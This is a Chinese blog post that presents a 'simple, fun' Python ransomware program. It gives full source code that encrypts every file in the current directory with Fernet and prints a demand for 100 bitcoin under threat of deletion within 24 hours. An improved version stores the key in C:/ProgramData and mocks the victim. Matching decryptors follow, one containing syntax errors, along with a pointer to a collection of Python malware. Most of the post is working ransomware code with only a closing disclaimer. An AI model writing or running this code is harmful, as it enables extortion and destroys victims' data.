相关阅读
图文讲解
原理分析
其实我们要写的脚本本质上就是一个加密程序,将文件内容通过Fernet算法进行加密,然后生成key,后面我们可以通过key在进行解密,这个过程是不是像极了勒索的场面……但是,我们要注意的是加密的过程,要做一下判断,不要把python加密脚本、解密脚本、key也加密了,后面有详细的核心代码供大家参考
![图片[1]-如何使用Python编写一个简单好玩的勒索程序?-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/05/d2b5ca33bd97-73.png)
核心代码
勒索核心代码voldmort.py
import os
from cryptography.fernet import Fernet
#Let's find some files
files = []
for file in os.listdir():
if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
key = Fernet.generate_key()
print(key)
with open ("thekey.key","wb") as thekey:
thekey.write(key)
for file in files:
with open (file,"rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open (file,"wb") as thefile:
thefile.write(contents_encrypted)
print("您的文件已经被加密,请给沐寒支付100比特币解锁,否则文件将在24小时之内被删除")
勒索解密代码decrypt.py
import os
from cryptography.fernet import Fernet
#Let's find some files
files = []
for files in os.listdir():
if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
with open ("thekey.key","rb") as key:
secretkey = key.read()
for file in files:
with open (file,"rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open (file,"wb") as thefile:
the file.write(contents_decrypted)
自定义密钥解锁decrypt.py
import os
from cryptography.fernet import Fernet
#Let's find some files
files = []
for file in os.listdir():
if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
with open ("thekey.key","rb") as key:
secretkey = key.read()
secretphrase = "anquanclub"
user_phrase = input("请输入指定密钥解锁加密文件:\n")
if user_phrase == secretphrase:
for file in files:
with open (file,"rb") as thefile:
contents = thefile.read()
contents_decrypted = Fernet(secretkey).decrypt(contents)
with open (file,"wb") as thefile:
thefile.write(contents_decrypted)
print("恭喜您已经成功解锁文件")
优化之后的main函数:
import os
import sys
from time import sleep
from cryptography.fernet import Fernet
#Let's find some files
def love():
print("IIIIIIIIII LLLLLLLLLLL YYYYYYY YYYYYYY ")
print("I::::::::I L:::::::::L Y:::::Y Y:::::Y ")
print("IIIIIIIIII LLLLLLLLLLL YYYYYYY YYYYYYY ")
print("I::::::::I L:::::::::L Y:::::Y Y:::::Y ")
print("I::::::::I L:::::::::L Y:::::Y Y:::::Y ")
print("II::::::II LL:::::::LL Y::::::Y Y::::::Y ")
print(" I::::I L:::::L ooooooooooo vvvvvvv vvvvvvv eeeeeeeeeeee YYY:::::Y Y:::::YYYooooooooooo uuuuuu uuuuuu ")
print(" I::::I L:::::L oo:::::::::::oov:::::v v:::::vee::::::::::::ee Y:::::Y Y:::::Y oo:::::::::::oo u::::u u::::u ")
print(" I::::I L:::::L o:::::::::::::::ov:::::v v:::::ve::::::eeeee:::::ee Y:::::Y:::::Y o:::::::::::::::ou::::u u::::u ")
print(" I::::I L:::::L o:::::ooooo:::::o v:::::v v:::::ve::::::e e:::::e Y:::::::::Y o:::::ooooo:::::ou::::u u::::u ")
print(" I::::I L:::::L o::::o o::::o v:::::v v:::::v e:::::::eeeee::::::e Y:::::::Y o::::o o::::ou::::u u::::u ")
print(" I::::I L:::::L o::::o o::::o v:::::v v:::::v e:::::::::::::::::e Y:::::Y o::::o o::::ou::::u u::::u ")
print(" I::::I L:::::L o::::o o::::o v:::::v:::::v e::::::eeeeeeeeeee Y:::::Y o::::o o::::ou::::u u::::u ")
print(" I::::I L:::::L LLLLLLo::::o o::::o v:::::::::v e:::::::e Y:::::Y o::::o o::::ou:::::uuuu:::::u ")
print("II::::::II LL:::::::LLLLLLLLL:::::Lo:::::ooooo:::::o v:::::::v e::::::::e Y:::::Y o:::::ooooo:::::ou:::::::::::::::uu")
print("I::::::::I L::::::::::::::::::::::Lo:::::::::::::::o v:::::v e::::::::eeeeeeee YYYY:::::YYYY o:::::::::::::::o u:::::::::::::::u")
print("I::::::::I L::::::::::::::::::::::L oo:::::::::::oo v:::v ee:::::::::::::e Y:::::::::::Y oo:::::::::::oo uu::::::::uu:::u")
print("IIIIIIIIII LLLLLLLLLLLLLLLLLLLLLLLL ooooooooooo vvv eeeeeeeeeeeeee YYYYYYYYYYYYY ooooooooooo uuuuuuuu uuuu")
def chaofen():
print("")
print("")
print("不好意思,当你看见这个文字的时间,你的桌面所以文件已经被加密,请输入密码解密吧")
print("还想表白,想peach呢")
print("好好学习去吧")
print("您的文件已经被加密,请给沐寒支付100比特币解锁,否则文件将在24小时之内被删除")
love()
files = []
for file in os.listdir():
if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.exe" or file == "decrypt.py" or file == "main.py":
continue
if os.path.isfile(file):
files.append(file)
key = Fernet.generate_key()
# print(key)
thekey_path = "C:/ProgramData/thekey.key"
if not os.path.exists(thekey_path):
with open(thekey_path,"wb") as thekey:
thekey.write(key)
else:
print("")
print("")
print("加密一次还不够吗?多次加密,可真的就解不开了ψ(*`ー´)ψ")
sleep(5)
sys.exit(0)
for file in files:
with open (file,"rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open (file,"wb") as thefile:
thefile.write(contents_encrypted)
chaofen()
sleep(5)
使用方法
上面的脚本,譬如我们使用第一个,运行下面的命令
python voldmort.py
你会发现同一目录下的全部文本文件都被加密了,正如视频中,查看某个文件内容
cat file.txt
运行脚本前后,文本内容发生了变化,后者被加密了,看不到原有的This is a file的内容了
![图片[2]-如何使用Python编写一个简单好玩的勒索程序?-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/05/d2b5ca33bd97-74.png)
有趣的恶意软件仓库
在Github上有个专门的仓库,里面都是Python编写的一些恶意软件,包括但不限于恶意广告、dropper、恶意文件感染、勒索软件、特洛伊木马、蠕虫病毒
![图片[3]-如何使用Python编写一个简单好玩的勒索程序?-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/05/d2b5ca33bd97-75.png)
pip install -r requirements.txt
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END















请登录后查看评论内容